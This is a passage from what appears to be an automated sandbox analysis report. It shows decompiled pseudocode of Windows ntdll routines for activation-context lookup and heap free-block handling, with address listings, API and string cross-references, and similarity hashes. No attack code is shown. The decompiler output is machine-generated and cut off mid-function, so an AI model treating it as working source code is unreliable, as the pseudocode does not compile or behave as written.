																														_v20 = (0 | _t222 != 0xfffffffc) - 0x00000001 & 0x00000002 | 0 | _t222 == 0x00000000;
																														asm("sbb ebx, ebx");
																														_t180 =  ~(_t222 - 0xfffffffc) & _t222;
																														_t132 = 0;
																														L48:
																														if(_t132 < 0) {
																															goto L31;
																														} else {
																															E6B56F830(_t132, _t180);
																															_t232 = _t180;
																															goto L50;
																														}
																													}
																												} else {
																													_t132 = 0xc0150001;
																													L30:
																													if(_t132 >= 0) {
																														L50:
																														_t176 = _v48;
																														if(_t176 >= 0x2c) {
																															goto L22;
																														} else {
																															goto L104;
																														}
																													} else {
																														L31:
																														if(_t132 == 0xc0150001) {
																															_t132 = 0xc0150008;
																														}
																														goto L33;
																													}
																												}
																											}
																										}
																										goto L106;
																									}
																								}
																							}
																							goto L106;
																						}
																						L105:
																						_push(_t176);
																						E6B5D5720(0x33, 0, "RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section\n", _t142);
																						_t239 = _t239 + 0x14;
																						_t132 = 0xc0150003;
																						goto L33;
																					}
																				}
																			}
																		}
																	} else {
																		_t226 =  *((intOrPtr*)(_t169 + 0x10));
																		goto L58;
																	}
																}
															}
														} else {
															goto L14;
														}
													}
													goto L106;
													L34:
													_t140 = _t139 - 1;
													if(_t140 == 0) {
														goto L14;
													} else {
														if(_t140 != 1) {
															goto L86;
														} else {
															goto L36;
														}
													}
													goto L106;
												}
											}
										} else {
											if(_t134 + 0x2c >  *_t134 + _t134) {
												_push(0xc000000d);
												_push("RtlpFindActivationContextSection_CheckParameters");
												_push("SXS: %s() flags contains return_flags but they don\'t fit in size, return invalid_parameter 0x%08lx.\n");
												L80:
												_push(0);
												_push(0x33);
												E6B5D5720();
												_t239 = _t239 + 0x14;
												goto L81;
											} else {
												_t16 =  &_a20; // 0x6b562a25
												_t134 =  *_t16;
												goto L9;
											}
										}
									}
								}
							}
						}
					}
				}
				L106:
			}

0x6b562d58
0x6b562d62
0x6b562d66
0x6b562d70
0x6b562d7a
0x6b5630ad
0x00000000
0x6b5ad710
0x6b5ad710
0x00000000
0x6b5ad710
0x6b562d80
0x6b562d80
0x6b562d84
0x6b562d8c
0x6b562d94
0x6b562d9c
0x6b5ad735
0x6b5ad735
0x00000000
0x6b562da2
0x6b562da2
0x6b562dab
0x00000000
0x6b562db1
0x6b562db1
0x6b562db1
0x6b562db7
0x6b5631d4
0x00000000
0x6b5631da
0x00000000
0x6b5631da
0x6b562dbd
0x6b562dbf
0x00000000
0x6b562dc5
0x6b562dc5
0x6b562dc8
0x00000000
0x6b562dce
0x6b562dce
0x6b562dd1
0x6b562de5
0x6b562de8
0x6b5ad748
0x00000000
0x6b5ad74e
0x6b5ad74e
0x6b5ad753
0x6b5ad758
0x00000000
0x6b5ad758
0x6b562dee
0x6b562dee
0x6b562df3
0x6b562df6
0x6b562dfa
0x6b562e01
0x6b562e07
0x6b562e0f
0x6b562e13
0x6b562e16
0x6b562e1e
0x6b562e26
0x6b562e2a
0x6b562e2e
0x6b562e32
0x6b562e40
0x6b562e42
0x6b562e45
0x00000000
0x00000000
0x6b562e4b
0x6b562e53
0x6b562e5f
0x6b562e5f
0x6b562e67
0x6b562e6d
0x6b562fa9
0x6b562fa9
0x6b562faf
0x6b562fb9
0x6b5ad774
0x6b5ad777
0x00000000
0x6b5ad77d
0x6b5ad77d
0x00000000
0x6b5ad77d
0x6b562fbf
0x6b562fbf
0x6b562fc4
0x00000000
0x6b562fc4
0x6b562e73
0x6b562e73
0x6b562e78
0x00000000
0x6b562e78
0x6b562e55
0x6b562e55
0x6b562e59
0x6b5630b8
0x6b5630bb
0x6b5630c1
0x6b5630d8
0x6b5630da
0x00000000
0x00000000
0x00000000
0x00000000
0x6b5630c3
0x6b5630c6
0x6b5ad75f
0x00000000
0x6b5630cc
0x6b5630cf
0x6b5ad76a
0x6b5630e0
0x6b5630e0
0x6b5630e5
0x6b562e7c
0x6b562e7e
0x6b5ad784
0x6b5ad789
0x6b5ad789
0x00000000
0x6b562e84
0x6b562e88
0x6b562e95
0x6b562e9c
0x6b562fcd
0x6b562fd4
0x00000000
0x6b562fe3
0x6b562fe3
0x6b562fe7
0x6b562feb
0x00000000
0x6b562feb
0x6b562ea2
0x6b562ea2
0x6b562ec2
0x6b562ec6
0x6b562ec8
0x6b562eca
0x6b562ecc
0x6b562ece
0x6b5ad78b
0x6b5ad78d
0x00000000
0x6b5ad793
0x00000000
0x6b5ad793
0x6b562ed4
0x6b562ed4
0x6b562ed4
0x6b562edb
0x6b5ad803
0x6b5ad803
0x00000000
0x6b562ee1
0x6b562ee1
0x6b562ee1
0x6b562ef0
0x6b562ef0
0x6b562ef0
0x6b562efa
0x00000000
0x00000000
0x6b562f00
0x6b562f07
0x6b562f09
0x6b562f0e
0x6b562f0f
0x6b562f10
0x6b562f15
0x6b562f1c
0x6b5630ee
0x6b5630f7
0x6b5630f9
0x6b5630fc
0x6b563102
0x6b56319d
0x6b5631b0
0x6b5631b6
0x6b5631ba
0x6b5631c3
0x6b5631c9
0x6b5631c9
0x6b5631c3
0x6b563102
0x6b56311a
0x6b563140
0x6b563146
0x6b563147
0x6b563148
0x6b563153
0x6b56311c
0x6b56311c
0x6b563120
0x6b56313a
0x00000000
0x00000000
0x00000000
0x00000000
0x6b56313a
0x6b562f22
0x6b562f27
0x6b562f83
0x6b562f83
0x6b562f84
0x6b562f85
0x6b562f94
0x6b562f29
0x6b562f29
0x6b562f32
0x6b562f34
0x6b562f3a
0x6b562f3e
0x6b562f45
0x6b562f49
0x00000000
0x6b562f50
0x6b562f53
0x6b562ff5
0x6b562ff7
0x6b5ad798
0x6b5ad7a0
0x00000000
0x6b5ad7a6
0x6b5ad7a6
0x6b5ad7aa
0x00000000
0x6b5ad7b0
0x6b5ad7b0
0x6b5ad7b3
0x6b5ad7b9
0x6b5ad7e3
0x6b5ad7e5
0x00000000
0x00000000
0x00000000
0x00000000
0x6b5ad7bb
0x6b5ad7be
0x6b5ad7cf
0x6b5ad7dc
0x00000000
0x6b5ad7d1
0x6b5ad7d1
0x6b5ad7d6
0x6b5ad7eb
0x6b5ad7eb
0x6b5ad7f0
0x00000000
0x6b5ad7f0
0x6b5ad7c0
0x6b5ad7c4
0x6b5ad7df
0x6b5ad7df
0x00000000
0x6b5ad7df
0x6b5ad7be
0x6b5ad7b9
0x6b5ad7aa
0x6b562ffd
0x6b562ffd
0x6b563000
0x6b563156
0x6b563158
0x6b563160
0x6b563166
0x6b56316c
0x00000000
0x6b563172
0x6b563172
0x6b563177
0x00000000
0x6b563177
0x6b563006
0x6b563009
0x00000000
0x6b56300f
0x6b56300f
0x6b563013
0x6b56301b
0x6b563021
0x6b563027
0x00000000
0x6b56302d
0x6b56302d
0x6b563032
0x00000000
0x6b563032
0x6b563027
0x6b563009
0x6b563000
0x6b562f59
0x6b562f59
0x6b562f5c
0x6b5ad7f9
0x00000000
0x6b562f62
0x6b562f62
0x6b562f64
0x6b56303b
0x6b56304d
0x6b563054
0x6b563185
0x6b5631df
0x00000000
0x6b56318c
0x6b56318c
0x6b563190
0x00000000
0x6b563190
0x6b56305a
0x6b56305a
0x6b56307a
0x6b56307e
0x6b563080
0x6b563082
0x6b563084
0x6b563086
0x00000000
0x6b56308c
0x6b56308d
0x6b563092
0x00000000
0x6b563092
0x6b563086
0x6b562f6a
0x6b562f6a
0x6b562f6f
0x6b562f71
0x6b563094
0x6b563094
0x6b56309b
0x00000000
0x6b5630a1
0x00000000
0x6b5630a1
0x6b562f77
0x6b562f77
0x6b562f7c
0x6b562f7e
0x6b562f7e
0x00000000
0x6b562f7c
0x6b562f71
0x6b562f64
0x6b562f5c
0x00000000
0x6b562f53
0x6b562f50
0x6b562f27
0x00000000
0x6b562f1c
0x6b5ad807
0x6b5ad807
0x6b5ad812
0x6b5ad817
0x6b5ad81a
0x00000000
0x6b5ad81a
0x6b562edb
0x6b562ece
0x6b562e9c
0x6b5630d5
0x6b5630d5
0x00000000
0x6b5630d5
0x6b5630cf
0x6b5630c6
0x00000000
0x00000000
0x00000000
0x6b562e59
0x00000000
0x6b562f97
0x6b562f97
0x6b562f9a
0x00000000
0x6b562fa0
0x6b562fa3
0x00000000
0x00000000
0x00000000
0x00000000
0x6b562fa3
0x00000000
0x6b562f9a
0x6b562e40
0x6b562dd3
0x6b562ddc
0x6b5ad71a
0x6b5ad71f
0x6b5ad724
0x6b5ad729
0x6b5ad729
0x6b5ad72b
0x6b5ad72d
0x6b5ad732
0x00000000
0x6b562de2
0x6b562de2
0x6b562de2
0x00000000
0x6b562de2
0x6b562ddc
0x6b562dd1
0x6b562dc8
0x6b562dbf
0x6b562db7
0x6b562dab
0x6b562d9c
0x00000000

APIs

DbgPrintEx.1105(00000033,00000000,SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.,RtlpFindActivationContextSection_CheckParameters,C000000D), ref: 6B5AD72D

Strings

SsHd, xrefs: 6B562EF4
SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 6B5AD758
RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section, xrefs: 6B5AD809
RtlpFindActivationContextSection_CheckParameters, xrefs: 6B5AD71F, 6B5AD753
SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 6B5AD724
Actx , xrefs: 6B5AD76A, 6B5AD7D1
%*Vk, xrefs: 6B562DB1, 6B562EE1, 6B562DE2, 6B562F0F

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: %*Vk$Actx $RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section$RtlpFindActivationContextSection_CheckParameters$SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.$SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx.$SsHd
API String ID: 3558298466-3923174795
Opcode ID: 7304e67f3522bcc5d79594dd9c76b191ee0a0d149bc149c03b22424df1950756
Instruction ID: 64602fbc4812b3a0d9f23a29911b693c0cbfa783a1f3c6ffbc66de1757f4e523
Opcode Fuzzy Hash: 7304e67f3522bcc5d79594dd9c76b191ee0a0d149bc149c03b22424df1950756
Instruction Fuzzy Hash: 41E1C4706083018FF714CF28C491B9AB7F1AB89794F104A6DF865DB2A0E77AD945CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6B56A830, Relevance: 19.6, APIs: 7, Strings: 4, Instructions: 350
COMMONCrypto

Download Yara Rule

C-Code - Quality: 70%

			E6B56A830(intOrPtr __ecx, signed int __edx, signed short _a4) {
				void* _v5;
				signed short _v12;
				intOrPtr _v16;
				signed int _v20;
				signed short _v24;
				signed short _v28;
				signed int _v32;
				signed short _v36;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				signed short* _v52;
				void* __ebx;
				void* __edi;
				void* __ebp;
				signed int _t131;
				signed char _t134;
				signed int _t138;
				char _t141;
				signed short _t142;
				void* _t146;
				signed short _t147;
				intOrPtr* _t149;
				intOrPtr _t156;
				signed int _t167;
				signed int _t168;
				signed short* _t173;
				signed short _t174;
				intOrPtr* _t182;
				signed short _t184;
				intOrPtr* _t187;
				intOrPtr _t197;
				intOrPtr _t206;
				intOrPtr _t210;
				signed short _t211;
				intOrPtr* _t212;
				signed short _t214;
				signed int _t216;
				intOrPtr _t217;
				signed char _t225;
				signed short _t235;
				signed int _t237;
				intOrPtr* _t238;
				signed int _t242;
				unsigned int _t245;
				signed int _t251;
				intOrPtr* _t252;
				signed int _t253;
				intOrPtr* _t255;
				signed int _t256;
				void* _t257;
				void* _t260;

				_t256 = __edx;
				_t206 = __ecx;
				_t235 = _a4;
				_v44 = __ecx;
				_v24 = _t235;
				if(_t235 == 0) {
					L41:
					return _t131;
				}
				_t251 = ( *(__edx + 4) ^  *(__ecx + 0x54)) & 0x0000ffff;
				if(_t251 == 0) {
					__eflags =  *0x6b638748 - 1;
					if( *0x6b638748 >= 1) {
						__eflags =  *(__edx + 2) & 0x00000008;
						if(( *(__edx + 2) & 0x00000008) == 0) {
							_t110 = _t256 + 0xfff; // 0xfe7
							__eflags = (_t110 & 0xfffff000) - __edx;
							if((_t110 & 0xfffff000) != __edx) {
								_t197 =  *[fs:0x30];
								__eflags =  *(_t197 + 0xc);
								if( *(_t197 + 0xc) == 0) {
									_push("HEAP: ");
									E6B54B150();
									_t260 = _t257 + 4;
								} else {
									E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
									_t260 = _t257 + 8;
								}
								_push("((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock))");
								E6B54B150();
								_t257 = _t260 + 4;
								__eflags =  *0x6b637bc8;
								if(__eflags == 0) {
									E6B602073(_t206, 1, _t251, __eflags);
								}
								_t235 = _v24;
							}
						}
					}
				}
				_t134 =  *((intOrPtr*)(_t256 + 6));
				if(_t134 == 0) {
					_t210 = _t206;
					_v48 = _t206;
				} else {
					_t210 = (_t256 & 0xffff0000) - ((_t134 & 0x000000ff) << 0x10) + 0x10000;
					_v48 = _t210;
				}
				_v5 =  *(_t256 + 2);
				do {
					if(_t235 > 0xfe00) {
						_v12 = 0xfe00;
						__eflags = _t235 - 0xfe01;
						if(_t235 == 0xfe01) {
							_v12 = 0xfdf0;
						}
						_t138 = 0;
					} else {
						_v12 = _t235 & 0x0000ffff;
						_t138 = _v5;
					}
					 *(_t256 + 2) = _t138;
					 *(_t256 + 4) =  *(_t206 + 0x54) ^ _t251;
					_t236 =  *((intOrPtr*)(_t210 + 0x18));
					if( *((intOrPtr*)(_t210 + 0x18)) == _t210) {
						_t141 = 0;
					} else {
						_t141 = (_t256 - _t210 >> 0x10) + 1;
						_v40 = _t141;
						if(_t141 >= 0xfe) {
							_push(_t210);
							E6B60A80D(_t236, _t256, _t210, 0);
							_t141 = _v40;
						}
					}
					 *(_t256 + 2) =  *(_t256 + 2) & 0x000000f0;
					 *((char*)(_t256 + 6)) = _t141;
					_t142 = _v12;
					 *_t256 = _t142;
					 *(_t256 + 3) = 0;
					_t211 = _t142 & 0x0000ffff;
					 *((char*)(_t256 + 7)) = 0;
					_v20 = _t211;
					if(( *(_t206 + 0x40) & 0x00000040) != 0) {
						_t119 = _t256 + 0x10; // -8
						E6B59D5E0(_t119, _t211 * 8 - 0x10, 0xfeeefeee);
						 *(_t256 + 2) =  *(_t256 + 2) | 0x00000004;
						_t211 = _v20;
					}
					_t252 =  *((intOrPtr*)(_t206 + 0xb4));
					if(_t252 == 0) {
						L56:
						_t212 =  *((intOrPtr*)(_t206 + 0xc0));
						_t146 = _t206 + 0xc0;
						goto L19;
					} else {
						if(_t211 <  *((intOrPtr*)(_t252 + 4))) {
							L15:
							_t185 = _t211;
							goto L17;
						} else {
							while(1) {
								_t187 =  *_t252;
								if(_t187 == 0) {
									_t185 =  *((intOrPtr*)(_t252 + 4)) - 1;
									__eflags =  *((intOrPtr*)(_t252 + 4)) - 1;
									goto L17;
								}
								_t252 = _t187;
								if(_t211 >=  *((intOrPtr*)(_t252 + 4))) {
									continue;
								}
								goto L15;
							}
							while(1) {
								L17:
								_t212 = E6B56AB40(_t206, _t252, 1, _t185, _t211);
								if(_t212 != 0) {
									_t146 = _t206 + 0xc0;
									break;
								}
								_t252 =  *_t252;
								_t211 = _v20;
								_t185 =  *(_t252 + 0x14);
							}
							L19:
							if(_t146 != _t212) {
								_t237 =  *(_t206 + 0x4c);
								_t253 = _v20;
								while(1) {
									__eflags = _t237;
									if(_t237 == 0) {
										_t147 =  *(_t212 - 8) & 0x0000ffff;
									} else {
										_t184 =  *(_t212 - 8);
										_t237 =  *(_t206 + 0x4c);
										__eflags = _t184 & _t237;
										if((_t184 & _t237) != 0) {
											_t184 = _t184 ^  *(_t206 + 0x50);
											__eflags = _t184;
										}
										_t147 = _t184 & 0x0000ffff;
									}
									__eflags = _t253 - (_t147 & 0x0000ffff);
									if(_t253 <= (_t147 & 0x0000ffff)) {
										goto L20;
									}
									_t212 =  *_t212;
									__eflags = _t206 + 0xc0 - _t212;
									if(_t206 + 0xc0 != _t212) {
										continue;
									} else {
										goto L20;
									}
									goto L56;
								}
							}
							L20:
							_t149 =  *((intOrPtr*)(_t212 + 4));
							_t33 = _t256 + 8; // -16
							_t238 = _t33;
							_t254 =  *_t149;
							if( *_t149 != _t212) {
								_push(_t212);
								E6B60A80D(0, _t212, 0, _t254);
							} else {
								 *_t238 = _t212;
								 *((intOrPtr*)(_t238 + 4)) = _t149;
								 *_t149 = _t238;
								 *((intOrPtr*)(_t212 + 4)) = _t238;
							}
							 *((intOrPtr*)(_t206 + 0x74)) =  *((intOrPtr*)(_t206 + 0x74)) + ( *_t256 & 0x0000ffff);
							_t255 =  *((intOrPtr*)(_t206 + 0xb4));
							if(_t255 == 0) {
								L36:
								if( *(_t206 + 0x4c) != 0) {
									 *(_t256 + 3) =  *(_t256 + 1) ^  *(_t256 + 2) ^  *_t256;
									 *_t256 =  *_t256 ^  *(_t206 + 0x50);
								}
								_t210 = _v48;
								_t251 = _v12 & 0x0000ffff;
								_t131 = _v20;
								_t235 = _v24 - _t131;
								_v24 = _t235;
								_t256 = _t256 + _t131 * 8;
								if(_t256 >=  *((intOrPtr*)(_t210 + 0x28))) {
									goto L41;
								} else {
									goto L39;
								}
							} else {
								_t216 =  *_t256 & 0x0000ffff;
								_v28 = _t216;
								if(_t216 <  *((intOrPtr*)(_t255 + 4))) {
									L28:
									_t242 = _t216 -  *((intOrPtr*)(_t255 + 0x14));
									_v32 = _t242;
									if( *((intOrPtr*)(_t255 + 8)) != 0) {
										_t167 = _t242 + _t242;
									} else {
										_t167 = _t242;
									}
									 *((intOrPtr*)(_t255 + 0xc)) =  *((intOrPtr*)(_t255 + 0xc)) + 1;
									_t168 = _t167 << 2;
									_v40 = _t168;
									_t206 = _v44;
									_v16 =  *((intOrPtr*)(_t168 +  *((intOrPtr*)(_t255 + 0x20))));
									if(_t216 ==  *((intOrPtr*)(_t255 + 4)) - 1) {
										 *((intOrPtr*)(_t255 + 0x10)) =  *((intOrPtr*)(_t255 + 0x10)) + 1;
									}
									_t217 = _v16;
									if(_t217 != 0) {
										_t173 = _t217 - 8;
										_v52 = _t173;
										_t174 =  *_t173;
										__eflags =  *(_t206 + 0x4c);
										if( *(_t206 + 0x4c) != 0) {
											_t245 =  *(_t206 + 0x50) ^ _t174;
											_v36 = _t245;
											_t225 = _t245 >> 0x00000010 ^ _t245 >> 0x00000008 ^ _t245;
											__eflags = _t245 >> 0x18 - _t225;
											if(_t245 >> 0x18 != _t225) {
												_push(_t225);
												E6B60A80D(_t206, _v52, 0, 0);
											}
											_t174 = _v36;
											_t217 = _v16;
											_t242 = _v32;
										}
										_v28 = _v28 - (_t174 & 0x0000ffff);
										__eflags = _v28;
										if(_v28 > 0) {
											goto L34;
										} else {
											goto L33;
										}
									} else {
										L33:
										_t58 = _t256 + 8; // -16
										 *((intOrPtr*)(_v40 +  *((intOrPtr*)(_t255 + 0x20)))) = _t58;
										_t206 = _v44;
										_t217 = _v16;
										L34:
										if(_t217 == 0) {
											asm("bts eax, edx");
										}
										goto L36;
									}
								} else {
									goto L24;
								}
								while(1) {
									L24:
									_t182 =  *_t255;
									if(_t182 == 0) {
										_t216 =  *((intOrPtr*)(_t255 + 4)) - 1;
										__eflags = _t216;
										goto L28;
									}
									_t255 = _t182;
									if(_t216 >=  *((intOrPtr*)(_t255 + 4))) {
										continue;
									} else {
										goto L28;
									}
								}
								goto L28;
							}
						}
					}
					L39:
				} while (_t235 != 0);
				_t214 = _v12;
				_t131 =  *(_t206 + 0x54) ^ _t214;
				 *(_t256 + 4) = _t131;
				if(_t214 == 0) {
					__eflags =  *0x6b638748 - 1;
					if( *0x6b638748 >= 1) {
						_t131 = _t256 + 0x00000fff & 0xfffff000;
						__eflags = _t131 - _t256;
						if(_t131 != _t256) {
							_t156 =  *[fs:0x30];
							__eflags =  *(_t156 + 0xc);
							if( *(_t156 + 0xc) == 0) {
								_push("HEAP: ");
								E6B54B150();
							} else {
								E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push("ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock");
							_t131 = E6B54B150();
							__eflags =  *0x6b637bc8;
							if(__eflags == 0) {
								_t131 = E6B602073(_t206, 1, _t251, __eflags);
							}
						}
					}
				}
				goto L41;
			}

0x6b56a83a
0x6b56a83c
0x6b56a83e
0x6b56a841
0x6b56a844
0x6b56a84a
0x6b56aa53
0x6b56aa59
0x6b56aa59
0x6b56a858
0x6b56a85e
0x6b56aaf5
0x6b56aafc
0x6b5b229e
0x6b5b22a2
0x6b5b22a8
0x6b5b22b3
0x6b5b22b5
0x6b5b22bb
0x6b5b22c1
0x6b5b22c5
0x6b5b22e6
0x6b5b22eb
0x6b5b22f0
0x6b5b22c7
0x6b5b22dc
0x6b5b22e1
0x6b5b22e1
0x6b5b22f3
0x6b5b22f8
0x6b5b22fd
0x6b5b2300
0x6b5b2307
0x6b5b230e
0x6b5b230e
0x6b5b2313
0x6b5b2313
0x6b5b22b5
0x6b5b22a2
0x6b56aafc
0x6b56a864
0x6b56a869
0x6b56aa5c
0x6b56aa5e
0x6b56a86f
0x6b56a87f
0x6b56a885
0x6b56a885
0x6b56a88b
0x6b56a890
0x6b56a896
0x6b56ab0c
0x6b56ab0f
0x6b56ab15
0x6b5b2320
0x6b5b2320
0x6b56ab1b
0x6b56a89c
0x6b56a89f
0x6b56a8a2
0x6b56a8a2
0x6b56a8a5
0x6b56a8af
0x6b56a8b3
0x6b56a8b8
0x6b56aa66
0x6b56a8be
0x6b56a8c5
0x6b56a8c6
0x6b56a8ce
0x6b5b2328
0x6b5b2332
0x6b5b2337
0x6b5b2337
0x6b56a8ce
0x6b56a8d4
0x6b56a8d8
0x6b56a8db
0x6b56a8de
0x6b56a8e1
0x6b56a8e5
0x6b56a8e8
0x6b56a8f0
0x6b56a8f3
0x6b5b234c
0x6b5b2350
0x6b5b2355
0x6b5b2359
0x6b5b2359
0x6b56a8f9
0x6b56a901
0x6b56aae4
0x6b56aae4
0x6b56aaea
0x00000000
0x6b56a907
0x6b56a90a
0x6b56a91d
0x6b56a91d
0x00000000
0x6b56a910
0x6b56a910
0x6b56a910
0x6b56a914
0x6b56a924
0x6b56a924
0x6b56a924
0x6b56a924
0x6b56a916
0x6b56a91b
0x00000000
0x00000000
0x00000000
0x6b56a91b
0x6b56a925
0x6b56a925
0x6b56a932
0x6b56a936
0x6b56a93c
0x6b56a93c
0x6b56a93c
0x6b56ab22
0x6b56ab24
0x6b56ab27
0x6b56ab27
0x6b56a942
0x6b56a944
0x6b56aaba
0x6b56aabd
0x6b56aac0
0x6b56aac0
0x6b56aac2
0x6b56ab2f
0x6b56aac4
0x6b56aac4
0x6b56aac7
0x6b56aaca
0x6b56aacc
0x6b56aace
0x6b56aace
0x6b56aace
0x6b56aad1
0x6b56aad1
0x6b56aad7
0x6b56aad9
0x00000000
0x00000000
0x6b5b2361
0x6b5b2369
0x6b5b236b
0x00000000
0x6b5b2371
0x00000000
0x6b5b2371
0x00000000
0x6b5b236b
0x6b56aac0
0x6b56a94a
0x6b56a94a
0x6b56a94d
0x6b56a94d
0x6b56a950
0x6b56a954
0x6b5b2376
0x6b5b2380
0x6b56a95a
0x6b56a95a
0x6b56a95c
0x6b56a95f
0x6b56a961
0x6b56a961
0x6b56a967
0x6b56a96a
0x6b56a972
0x6b56aa02
0x6b56aa06
0x6b56aa10
0x6b56aa16
0x6b56aa16
0x6b56aa1b
0x6b56aa21
0x6b56aa24
0x6b56aa27
0x6b56aa29
0x6b56aa2c
0x6b56aa32
0x00000000
0x00000000
0x00000000
0x00000000
0x6b56a978
0x6b56a978
0x6b56a97b
0x6b56a981
0x6b56a996
0x6b56a998
0x6b56a99f
0x6b56a9a2
0x6b5b238a
0x6b56a9a8
0x6b56a9a8
0x6b56a9a8
0x6b56a9aa
0x6b56a9ad
0x6b56a9b0
0x6b56a9bb
0x6b56a9be
0x6b56a9c7
0x6b56a9c9
0x6b56a9c9
0x6b56a9cc
0x6b56a9d1
0x6b56aa6d
0x6b56aa70
0x6b56aa73
0x6b56aa75
0x6b56aa79
0x6b56aa7e
0x6b56aa82
0x6b56aa8f
0x6b56aa94
0x6b56aa96
0x6b5b2392
0x6b5b23a1
0x6b5b23a1
0x6b56aa9c
0x6b56aa9f
0x6b56aaa2
0x6b56aaa2
0x6b56aaa8
0x6b56aaab
0x6b56aaaf
0x00000000
0x6b56aab5
0x00000000
0x6b56aab5
0x6b56a9d7
0x6b56a9d7
0x6b56a9da
0x6b56a9e0
0x6b56a9e3
0x6b56a9e6
0x6b56a9e9
0x6b56a9eb
0x6b56a9fd
0x6b56a9fd
0x00000000
0x6b56a9eb
0x00000000
0x00000000
0x00000000
0x6b56a983
0x6b56a983
0x6b56a983
0x6b56a987
0x6b56a995
0x6b56a995
0x6b56a995
0x6b56a995
0x6b56a989
0x6b56a98e
0x00000000
0x6b56a990
0x00000000
0x6b56a990
0x6b56a98e
0x00000000
0x6b56a983
0x6b56a972
0x6b56a90a
0x6b56aa34
0x6b56aa34
0x6b56aa40
0x6b56aa43
0x6b56aa46
0x6b56aa4d
0x6b5b23ab
0x6b5b23b2
0x6b5b23be
0x6b5b23c3
0x6b5b23c5
0x6b5b23cb
0x6b5b23d1
0x6b5b23d5
0x6b5b23f6
0x6b5b23fb
0x6b5b23d7
0x6b5b23ec
0x6b5b23f1
0x6b5b2403
0x6b5b2408
0x6b5b2410
0x6b5b2417
0x6b5b2422
0x6b5b2422
0x6b5b2417
0x6b5b23c5
0x6b5b23b2
0x00000000

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,-00000018,?,?,?,?,?,?,?,?,?,6B56A3D0,?,?,-00000018), ref: 6B5B22DC
DbgPrint.1105(((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock)),?,?,?,?,?,?,?,?,6B56A3D0,?,?,-00000018,?), ref: 6B5B22F8

Strings

((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock)), xrefs: 6B5B22F3
HEAP[%wZ]: , xrefs: 6B5B22D7, 6B5B23E7
ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock, xrefs: 6B5B2403
HEAP: , xrefs: 6B5B22E6, 6B5B23F6

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: ((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock))$HEAP: $HEAP[%wZ]: $ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock
API String ID: 3558298466-1657114761
Opcode ID: 5cde4fcacf4a9cefb25b30e8753b81ad612eddc9acc7ec0d7386b9b265506d8f
Instruction ID: 8306fe8f47644ca5137daddac5f1605be28243f4c87ea3fb83849e4d9a3e31ea
Opcode Fuzzy Hash: 5cde4fcacf4a9cefb25b30e8753b81ad612eddc9acc7ec0d7386b9b265506d8f
Instruction Fuzzy Hash: 5FD1EF30A042558FEB18CF68C490BEAB7F1FF89344F1085A9D89ADB355E739E941CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6B57C707, Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 251
memoryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E6B57C707(signed char __ecx, void __edx, intOrPtr _a4, signed int* _a8, signed int* _a12, void** _a16) {
				signed int _v8;
				char _v532;
				void* _v536;
				signed int _v540;
				void* _v544;
				short _v546;
				void* _v548;
				long _v552;
				signed int* _v556;
				signed int* _v560;
				void** _v564;
				void* _v568;
				void* __ebx;
				void* __edi;
				void* __esi;
				short _t97;
				intOrPtr _t98;
				void _t105;
				signed int _t106;
				void** _t108;
				signed int _t109;
				void* _t114;
				void _t120;
				intOrPtr _t121;
				void* _t122;
				void* _t129;
				void* _t130;
				void* _t132;
				signed short _t140;
				void* _t143;
				void* _t148;
				int _t150;
				signed int _t155;

				_t142 = __edx;
				_v8 =  *0x6b63d360 ^ _t155;
				_v556 = _a12;
				_t129 =  &_v532;
				_v560 = _a8;
				_t148 = 0;
				_v564 = _a16;
				_t143 = 0;
				_v540 = __ecx;
				_t132 = 0;
				_v532 = 0;
				_v548 = _v548 & 0;
				_v548 = 0;
